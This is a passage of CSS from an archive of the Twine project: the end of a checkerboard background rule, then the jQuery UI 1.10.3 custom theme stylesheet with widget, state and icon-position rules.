background: -webkit-linear-gradient(45deg, rgba(0, 0, 0, 0.1980392) 25%, transparent 25%, transparent 75%, rgba(0, 0, 0, 0.1980392) 75%, rgba(0, 0, 0, 0.1980392) 0), -webkit-linear-gradient(45deg, rgba(0, 0, 0, 0.1980392) 25%, transparent 25%, transparent 75%, rgba(0, 0, 0, 0.1980392) 75%, rgba(0, 0, 0, 0.1980392) 0), white;
background: -moz-linear-gradient(45deg, rgba(0, 0, 0, 0.1980392) 25%, transparent 25%, transparent 75%, rgba(0, 0, 0, 0.1980392) 75%, rgba(0, 0, 0, 0.1980392) 0), -moz-linear-gradient(45deg, rgba(0, 0, 0, 0.1980392) 25%, transparent 25%, transparent 75%, rgba(0, 0, 0, 0.1980392) 75%, rgba(0, 0, 0, 0.1980392) 0), white;
background: linear-gradient(45deg, rgba(0, 0, 0, 0.1980392) 25%, transparent 25%, transparent 75%, rgba(0, 0, 0, 0.1980392) 75%, rgba(0, 0, 0, 0.1980392) 0), linear-gradient(45deg, rgba(0, 0, 0, 0.1980392) 25%, transparent 25%, transparent 75%, rgba(0, 0, 0, 0.1980392) 75%, rgba(0, 0, 0, 0.1980392) 0), white;
background-repeat: repeat, repeat;
background-position: 0px 0, 5px 5px;
-webkit-transform-origin: 0 0 0;
transform-origin: 0 0 0;
-webkit-background-origin: padding-box, padding-box;
background-origin: padding-box, padding-box;
-webkit-background-clip: border-box, border-box;
background-clip: border-box, border-box;
-webkit-background-size: 10px 10px, 10px 10px;
background-size: 10px 10px, 10px 10px;
-webkit-box-shadow: none;
box-shadow: none;
text-shadow: none;
-webkit-transition: none;
-moz-transition: none;
-o-transition: none;
transition: none;
-webkit-transform: scaleX(1) scaleY(1) scaleZ(1);
transform: scaleX(1) scaleY(1) scaleZ(1);
} Twine/assets/styles/jquery-ui-1.10.3.custom.css 0000644 00000076604 14666776752 0015221 0 ustar 00 /*! jQuery UI - v1.10.3 - 2013-12-02
* http://jqueryui.com
* Includes: jquery.ui.core.css, jquery.ui.resizable.css, jquery.ui.selectable.css, jquery.ui.accordion.css, jquery.ui.autocomplete.css, jquery.ui.button.css, jquery.ui.datepicker.css, jquery.ui.dialog.css, jquery.ui.menu.css, jquery.ui.progressbar.css, jquery.ui.slider.css, jquery.ui.spinner.css, jquery.ui.tabs.css, jquery.ui.tooltip.css, jquery.ui.theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=%22Open%20Sans%22%2CHelvetica%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1m&cornerRadius=0&bgColorHeader=%23eeeeee&bgTextureHeader=flat&bgImgOpacityHeader=0&borderColorHeader=%23dddddd&fcHeader=%23333333&iconColorHeader=%23999999&bgColorContent=%23ffffff&bgTextureContent=flat&bgImgOpacityContent=0&borderColorContent=%23dddddd&fcContent=%23333333&iconColorContent=%23999999&bgColorDefault=%23f8f8f8&bgTextureDefault=flat&bgImgOpacityDefault=0&borderColorDefault=%23dddddd&fcDefault=%23666666&iconColorDefault=%23999999&bgColorHover=%23ffffff&bgTextureHover=flat&bgImgOpacityHover=0&borderColorHover=%23999999&fcHover=%23333333&iconColorHover=%23999999&bgColorActive=%2300B1CA&bgTextureActive=flat&bgImgOpacityActive=0&borderColorActive=%2300B1CA&fcActive=%23ffffff&iconColorActive=%23ffffff&bgColorHighlight=%23ffffff&bgTextureHighlight=flat&bgImgOpacityHighlight=0&borderColorHighlight=%2300B1CA&fcHighlight=%23000000&iconColorHighlight=%2300B1CA&bgColorError=%23ffffff&bgTextureError=flat&bgImgOpacityError=0&borderColorError=%23B4113F&fcError=%23000000&iconColorError=%23B4113F&bgColorOverlay=%23666666&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=%23666666&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=0&thicknessShadow=0&offsetTopShadow=0&offsetLeftShadow=0&cornerRadiusShadow=0
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
display: none;
}
.ui-helper-hidden-accessible {
border: 0;
clip: rect(0 0 0 0);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute;
width: 1px;
}
.ui-helper-reset {
margin: 0;
padding: 0;
border: 0;
outline: 0;
line-height: 1.3;
text-decoration: none;
font-size: 100%;
list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
content: "";
display: table;
border-collapse: collapse;
}
.ui-helper-clearfix:after {
clear: both;
}
.ui-helper-clearfix {
min-height: 0; /* support: IE7 */
}
.ui-helper-zfix {
width: 100%;
height: 100%;
top: 0;
left: 0;
position: absolute;
opacity: 0;
filter:Alpha(Opacity=0);
}
.ui-front {
z-index: 100;
}
/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
cursor: default !important;
}
/* Icons
----------------------------------*/
/* states and images */
.ui-icon {
display: block;
text-indent: -99999px;
overflow: hidden;
background-repeat: no-repeat;
}
/* Misc visuals
----------------------------------*/
/* Overlays */
.ui-widget-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
.ui-resizable {
position: relative;
}
.ui-resizable-handle {
position: absolute;
font-size: 0.1px;
display: block;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
display: none;
}
.ui-resizable-n {
cursor: n-resize;
height: 7px;
width: 100%;
top: -5px;
left: 0;
}
.ui-resizable-s {
cursor: s-resize;
height: 7px;
width: 100%;
bottom: -5px;
left: 0;
}
.ui-resizable-e {
cursor: e-resize;
width: 7px;
right: -5px;
top: 0;
height: 100%;
}
.ui-resizable-w {
cursor: w-resize;
width: 7px;
left: -5px;
top: 0;
height: 100%;
}
.ui-resizable-se {
cursor: se-resize;
width: 12px;
height: 12px;
right: 1px;
bottom: 1px;
}
.ui-resizable-sw {
cursor: sw-resize;
width: 9px;
height: 9px;
left: -5px;
bottom: -5px;
}
.ui-resizable-nw {
cursor: nw-resize;
width: 9px;
height: 9px;
left: -5px;
top: -5px;
}
.ui-resizable-ne {
cursor: ne-resize;
width: 9px;
height: 9px;
right: -5px;
top: -5px;
}
.ui-selectable-helper {
position: absolute;
z-index: 100;
border: 1px dotted black;
}
.ui-accordion .ui-accordion-header {
display: block;
cursor: pointer;
position: relative;
margin-top: 2px;
padding: .5em .5em .5em .7em;
min-height: 0; /* support: IE7 */
}
.ui-accordion .ui-accordion-icons {
padding-left: 2.2em;
}
.ui-accordion .ui-accordion-noicons {
padding-left: .7em;
}
.ui-accordion .ui-accordion-icons .ui-accordion-icons {
padding-left: 2.2em;
}
.ui-accordion .ui-accordion-header .ui-accordion-header-icon {
position: absolute;
left: .5em;
top: 50%;
margin-top: -8px;
}
.ui-accordion .ui-accordion-content {
padding: 1em 2.2em;
border-top: 0;
overflow: auto;
}
.ui-autocomplete {
position: absolute;
top: 0;
left: 0;
cursor: default;
}
.ui-button {
display: inline-block;
position: relative;
padding: 0;
line-height: normal;
margin-right: .1em;
cursor: pointer;
vertical-align: middle;
text-align: center;
overflow: visible; /* removes extra width in IE */
}
.ui-button,
.ui-button:link,
.ui-button:visited,
.ui-button:hover,
.ui-button:active {
text-decoration: none;
}
/* to make room for the icon, a width needs to be set here */
.ui-button-icon-only {
width: 2.2em;
}
/* button elements seem to need a little more width */
button.ui-button-icon-only {
width: 2.4em;
}
.ui-button-icons-only {
width: 3.4em;
}
button.ui-button-icons-only {
width: 3.7em;
}
/* button text element */
.ui-button .ui-button-text {
display: block;
line-height: normal;
}
.ui-button-text-only .ui-button-text {
padding: .4em 1em;
}
.ui-button-icon-only .ui-button-text,
.ui-button-icons-only .ui-button-text {
padding: .4em;
text-indent: -9999999px;
}
.ui-button-text-icon-primary .ui-button-text,
.ui-button-text-icons .ui-button-text {
padding: .4em 1em .4em 2.1em;
}
.ui-button-text-icon-secondary .ui-button-text,
.ui-button-text-icons .ui-button-text {
padding: .4em 2.1em .4em 1em;
}
.ui-button-text-icons .ui-button-text {
padding-left: 2.1em;
padding-right: 2.1em;
}
/* no icon support for input elements, provide padding by default */
input.ui-button {
padding: .4em 1em;
}
/* button icon element(s) */
.ui-button-icon-only .ui-icon,
.ui-button-text-icon-primary .ui-icon,
.ui-button-text-icon-secondary .ui-icon,
.ui-button-text-icons .ui-icon,
.ui-button-icons-only .ui-icon {
position: absolute;
top: 50%;
margin-top: -8px;
}
.ui-button-icon-only .ui-icon {
left: 50%;
margin-left: -8px;
}
.ui-button-text-icon-primary .ui-button-icon-primary,
.ui-button-text-icons .ui-button-icon-primary,
.ui-button-icons-only .ui-button-icon-primary {
left: .5em;
}
.ui-button-text-icon-secondary .ui-button-icon-secondary,
.ui-button-text-icons .ui-button-icon-secondary,
.ui-button-icons-only .ui-button-icon-secondary {
right: .5em;
}
/* button sets */
.ui-buttonset {
margin-right: 7px;
}
.ui-buttonset .ui-button {
margin-left: 0;
margin-right: -.3em;
}
/* workarounds */
/* reset extra padding in Firefox, see h5bp.com/l */
input.ui-button::-moz-focus-inner,
button.ui-button::-moz-focus-inner {
border: 0;
padding: 0;
}
.ui-datepicker {
width: 17em;
padding: .2em .2em 0;
display: none;
}
.ui-datepicker .ui-datepicker-header {
position: relative;
padding: .2em 0;
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
position: absolute;
top: 2px;
width: 1.8em;
height: 1.8em;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
top: 1px;
}
.ui-datepicker .ui-datepicker-prev {
left: 2px;
}
.ui-datepicker .ui-datepicker-next {
right: 2px;
}
.ui-datepicker .ui-datepicker-prev-hover {
left: 1px;
}
.ui-datepicker .ui-datepicker-next-hover {
right: 1px;
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
display: block;
position: absolute;
left: 50%;
margin-left: -8px;
top: 50%;
margin-top: -8px;
}
.ui-datepicker .ui-datepicker-title {
margin: 0 2.3em;
line-height: 1.8em;
text-align: center;
}
.ui-datepicker .ui-datepicker-title select {
font-size: 1em;
margin: 1px 0;
}
.ui-datepicker select.ui-datepicker-month-year {
width: 100%;
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
width: 49%;
}
.ui-datepicker table {
width: 100%;
font-size: .9em;
border-collapse: collapse;
margin: 0 0 .4em;
}
.ui-datepicker th {
padding: .7em .3em;
text-align: center;
font-weight: bold;
border: 0;
}
.ui-datepicker td {
border: 0;
padding: 1px;
}
.ui-datepicker td span,
.ui-datepicker td a {
display: block;
padding: .2em;
text-align: right;
text-decoration: none;
}
.ui-datepicker .ui-datepicker-buttonpane {
background-image: none;
margin: .7em 0 0 0;
padding: 0 .2em;
border-left: 0;
border-right: 0;
border-bottom: 0;
}
.ui-datepicker .ui-datepicker-buttonpane button {
float: right;
margin: .5em .2em .4em;
cursor: pointer;
padding: .2em .6em .3em .6em;
width: auto;
overflow: visible;
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
float: left;
}
/* with multiple calendars */
.ui-datepicker.ui-datepicker-multi {
width: auto;
}
.ui-datepicker-multi .ui-datepicker-group {
float: left;
}
.ui-datepicker-multi .ui-datepicker-group table {
width: 95%;
margin: 0 auto .4em;
}
.ui-datepicker-multi-2 .ui-datepicker-group {
width: 50%;
}
.ui-datepicker-multi-3 .ui-datepicker-group {
width: 33.3%;
}
.ui-datepicker-multi-4 .ui-datepicker-group {
width: 25%;
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
border-left-width: 0;
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
clear: left;
}
.ui-datepicker-row-break {
clear: both;
width: 100%;
font-size: 0;
}
/* RTL support */
.ui-datepicker-rtl {
direction: rtl;
}
.ui-datepicker-rtl .ui-datepicker-prev {
right: 2px;
left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next {
left: 2px;
right: auto;
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
right: 1px;
left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
left: 1px;
right: auto;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
clear: right;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
float: left;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
float: right;
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
border-right-width: 0;
border-left-width: 1px;
}
.ui-dialog {
position: absolute;
top: 0;
left: 0;
padding: .2em;
outline: 0;
}
.ui-dialog .ui-dialog-titlebar {
padding: .4em 1em;
position: relative;
}
.ui-dialog .ui-dialog-title {
float: left;
margin: .1em 0;
white-space: nowrap;
width: 90%;
overflow: hidden;
text-overflow: ellipsis;
}
.ui-dialog .ui-dialog-titlebar-close {
position: absolute;
right: .3em;
top: 50%;
width: 21px;
margin: -10px 0 0 0;
padding: 1px;
height: 20px;
}
.ui-dialog .ui-dialog-content {
position: relative;
border: 0;
padding: .5em 1em;
background: none;
overflow: auto;
}
.ui-dialog .ui-dialog-buttonpane {
text-align: left;
border-width: 1px 0 0 0;
background-image: none;
margin-top: .5em;
padding: .3em 1em .5em .4em;
}
.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset {
float: right;
}
.ui-dialog .ui-dialog-buttonpane button {
margin: .5em .4em .5em 0;
cursor: pointer;
}
.ui-dialog .ui-resizable-se {
width: 12px;
height: 12px;
right: -5px;
bottom: -5px;
background-position: 16px 16px;
}
.ui-draggable .ui-dialog-titlebar {
cursor: move;
}
.ui-menu {
list-style: none;
padding: 2px;
margin: 0;
display: block;
outline: none;
}
.ui-menu .ui-menu {
margin-top: -3px;
position: absolute;
}
.ui-menu .ui-menu-item {
margin: 0;
padding: 0;
width: 100%;
/* support: IE10, see #8844 */
list-style-image: url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);
}
.ui-menu .ui-menu-divider {
margin: 5px -2px 5px -2px;
height: 0;
font-size: 0;
line-height: 0;
border-width: 1px 0 0 0;
}
.ui-menu .ui-menu-item a {
text-decoration: none;
display: block;
padding: 2px .4em;
line-height: 1.5;
min-height: 0; /* support: IE7 */
font-weight: normal;
}
.ui-menu .ui-menu-item a.ui-state-focus,
.ui-menu .ui-menu-item a.ui-state-active {
font-weight: normal;
margin: -1px;
}
.ui-menu .ui-state-disabled {
font-weight: normal;
margin: .4em 0 .2em;
line-height: 1.5;
}
.ui-menu .ui-state-disabled a {
cursor: default;
}
/* icon support */
.ui-menu-icons {
position: relative;
}
.ui-menu-icons .ui-menu-item a {
position: relative;
padding-left: 2em;
}
/* left-aligned */
.ui-menu .ui-icon {
position: absolute;
top: .2em;
left: .2em;
}
/* right-aligned */
.ui-menu .ui-menu-icon {
position: static;
float: right;
}
.ui-progressbar {
height: 2em;
text-align: left;
overflow: hidden;
}
.ui-progressbar .ui-progressbar-value {
margin: -1px;
height: 100%;
}
.ui-progressbar .ui-progressbar-overlay {
background: url("images/animated-overlay.gif");
height: 100%;
filter: alpha(opacity=25);
opacity: 0.25;
}
.ui-progressbar-indeterminate .ui-progressbar-value {
background-image: none;
}
.ui-slider {
position: relative;
text-align: left;
}
.ui-slider .ui-slider-handle {
position: absolute;
z-index: 2;
width: 1.2em;
height: 1.2em;
cursor: default;
}
.ui-slider .ui-slider-range {
position: absolute;
z-index: 1;
font-size: .7em;
display: block;
border: 0;
background-position: 0 0;
}
/* For IE8 - See #6727 */
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
filter: inherit;
}
.ui-slider-horizontal {
height: .8em;
}
.ui-slider-horizontal .ui-slider-handle {
top: -.3em;
margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
top: 0;
height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
right: 0;
}
.ui-slider-vertical {
width: .8em;
height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
left: -.3em;
margin-left: 0;
margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
left: 0;
width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
top: 0;
}
.ui-spinner {
position: relative;
display: inline-block;
overflow: hidden;
padding: 0;
vertical-align: middle;
}
.ui-spinner-input {
border: none;
background: none;
color: inherit;
padding: 0;
margin: .2em 0;
vertical-align: middle;
margin-left: .4em;
margin-right: 22px;
}
.ui-spinner-button {
width: 16px;
height: 50%;
font-size: .5em;
padding: 0;
margin: 0;
text-align: center;
position: absolute;
cursor: default;
display: block;
overflow: hidden;
right: 0;
}
/* more specificity required here to override default borders */
.ui-spinner a.ui-spinner-button {
border-top: none;
border-bottom: none;
border-right: none;
}
/* vertical centre icon */
.ui-spinner .ui-icon {
position: absolute;
margin-top: -8px;
top: 50%;
left: 0;
}
.ui-spinner-up {
top: 0;
}
.ui-spinner-down {
bottom: 0;
}
/* TR overrides */
.ui-spinner .ui-icon-triangle-1-s {
/* need to fix icons sprite */
background-position: -65px -16px;
}
.ui-tabs {
position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */
padding: .2em;
}
.ui-tabs .ui-tabs-nav {
margin: 0;
padding: .2em .2em 0;
}
.ui-tabs .ui-tabs-nav li {
list-style: none;
float: left;
position: relative;
top: 0;
margin: 1px .2em 0 0;
border-bottom-width: 0;
padding: 0;
white-space: nowrap;
}
.ui-tabs .ui-tabs-nav li a {
float: left;
padding: .5em 1em;
text-decoration: none;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active {
margin-bottom: -1px;
padding-bottom: 1px;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active a,
.ui-tabs .ui-tabs-nav li.ui-state-disabled a,
.ui-tabs .ui-tabs-nav li.ui-tabs-loading a {
cursor: text;
}
.ui-tabs .ui-tabs-nav li a, /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */
.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active a {
cursor: pointer;
}
.ui-tabs .ui-tabs-panel {
display: block;
border-width: 0;
padding: 1em 1.4em;
background: none;
}
.ui-tooltip {
padding: 8px;
position: absolute;
z-index: 9999;
max-width: 300px;
-webkit-box-shadow: 0 0 5px #aaa;
box-shadow: 0 0 5px #aaa;
}
body .ui-tooltip {
border-width: 2px;
}
/* Component containers
----------------------------------*/
.ui-widget {
font-family: "Open Sans",Helvetica,Arial,sans-serif;
font-size: 1m;
}
.ui-widget .ui-widget {
font-size: 1em;
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
font-family: "Open Sans",Helvetica,Arial,sans-serif;
font-size: 1em;
}
.ui-widget-content {
border: 1px solid #dddddd;
background: #ffffff url(images/ui-bg_flat_0_ffffff_40x100.png) 50% 50% repeat-x;
color: #333333;
}
.ui-widget-content a {
color: #333333;
}
.ui-widget-header {
border: 1px solid #dddddd;
background: #eeeeee url(images/ui-bg_flat_0_eeeeee_40x100.png) 50% 50% repeat-x;
color: #333333;
font-weight: bold;
}
.ui-widget-header a {
color: #333333;
}
/* Interaction states
----------------------------------*/
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default {
border: 1px solid #dddddd;
background: #f8f8f8 url(images/ui-bg_flat_0_f8f8f8_40x100.png) 50% 50% repeat-x;
font-weight: normal;
color: #666666;
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited {
color: #666666;
text-decoration: none;
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus {
border: 1px solid #999999;
background: #ffffff url(images/ui-bg_flat_0_ffffff_40x100.png) 50% 50% repeat-x;
font-weight: normal;
color: #333333;
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited {
color: #333333;
text-decoration: none;
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active {
border: 1px solid #00B1CA;
background: #00B1CA url(images/ui-bg_flat_0_00B1CA_40x100.png) 50% 50% repeat-x;
font-weight: normal;
color: #ffffff;
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
color: #ffffff;
text-decoration: none;
}
/* Interaction Cues
----------------------------------*/
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
border: 1px solid #00B1CA;
background: #ffffff url(images/ui-bg_flat_0_ffffff_40x100.png) 50% 50% repeat-x;
color: #000000;
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
color: #000000;
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
border: 1px solid #B4113F;
background: #ffffff url(images/ui-bg_flat_0_ffffff_40x100.png) 50% 50% repeat-x;
color: #000000;
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
color: #000000;
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
color: #000000;
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
font-weight: bold;
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
opacity: .7;
filter:Alpha(Opacity=70);
font-weight: normal;
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
opacity: .35;
filter:Alpha(Opacity=35);
background-image: none;
}
.ui-state-disabled .ui-icon {
filter:Alpha(Opacity=35); /* For IE8 - See #6059 */
}
/* Icons
----------------------------------*/
/* states and images */
.ui-icon {
width: 16px;
height: 16px;
}
.ui-icon,
.ui-widget-content .ui-icon {
background-image: url(images/ui-icons_999999_256x240.png);
}
.ui-widget-header .ui-icon {
background-image: url(images/ui-icons_999999_256x240.png);
}
.ui-state-default .ui-icon {
background-image: url(images/ui-icons_999999_256x240.png);
}
.ui-state-hover .ui-icon,
.ui-state-focus .ui-icon {
background-image: url(images/ui-icons_999999_256x240.png);
}
.ui-state-active .ui-icon {
background-image: url(images/ui-icons_ffffff_256x240.png);
}
.ui-state-highlight .ui-icon {
background-image: url(images/ui-icons_00B1CA_256x240.png);
}
.ui-state-error .ui-icon,
.ui-state-error-text .ui-icon {
background-image: url(images/ui-icons_B4113F_256x240.png);
}
/* positioning */
.ui-icon-blank { background-position: 16px 16px; }
.ui-icon-carat-1-n { background-position: 0 0; }
.ui-icon-carat-1-ne { background-position: -16px 0; }
.ui-icon-carat-1-e { background-position: -32px 0; }
.ui-icon-carat-1-se { background-position: -48px 0; }
.ui-icon-carat-1-s { background-position: -64px 0; }
.ui-icon-carat-1-sw { background-position: -80px 0; }
.ui-icon-carat-1-w { background-position: -96px 0; }
.ui-icon-carat-1-nw { background-position: -112px 0; }
.ui-icon-carat-2-n-s { background-position: -128px 0; }
.ui-icon-carat-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -64px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
.ui-icon-arrow-1-s { background-position: -64px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 0 -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-on { background-position: -96px -144px; }
.ui-icon-radio-off { background-position: -112px -144px; }
